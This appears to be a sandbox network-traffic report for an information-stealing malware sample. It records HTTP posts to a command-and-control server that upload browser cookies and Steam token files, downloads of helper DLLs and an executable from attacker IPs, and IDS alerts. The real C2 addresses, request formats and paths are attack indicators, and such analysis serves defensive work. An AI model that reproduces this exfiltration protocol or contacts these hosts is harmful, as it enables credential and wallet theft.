00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 42 41 31 43 31 30 45 46 35 46 35 35 32 38 31 35 38 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 2d 2d 0d 0a Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="hwid"C1BA1C10EF5F552815863------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="build"drum------AKKEGHJDHDAFHIDHCFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"browsers------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="message"plugins------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFHDAKECFIDGDGDBKJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------GCFHDAKECFIDGDGDBKJDContent-Disposition: form-data; name="message"fplugins------GCFHDAKECFIDGDGDBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.206Content-Length: 6935Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHDBGDHDAECBGDHJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBGCBGIDHCBGDHIEBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 47 43 42 47 49 44 48 43 42 47 44 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGDBGCBGIDHCBGDHIEBFContent-Disposition: form-data; name="file"------CGDBGCBGIDHCBGDHIEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="file"------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHIIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 2d 2d 0d 0a Data Ascii: ------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="message"wallets------CAAKFIIDGIEHIDGCGHII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"files------GHIJJJEGDBFHDHJJDBAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 31 30 30 61 39 61 38 63 37 62 33 65 38 33 65 64 66 35 62 64 64 36 36 37 61 34 35 37 35 39 30 35 61 63 61 64 65 36 33 38 30 36 39 61 39 32 64 31 37 64 63 39 66 34 66 61 38 33 30 33 62 65 61 61 63 38 65 62 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"4c100a9a8c7b3e83edf5bdd667a4575905acade638069a92d17dc9f4fa8303beaac8eb89------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBGHCGCBKFIECBFHIDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49759 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49795 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
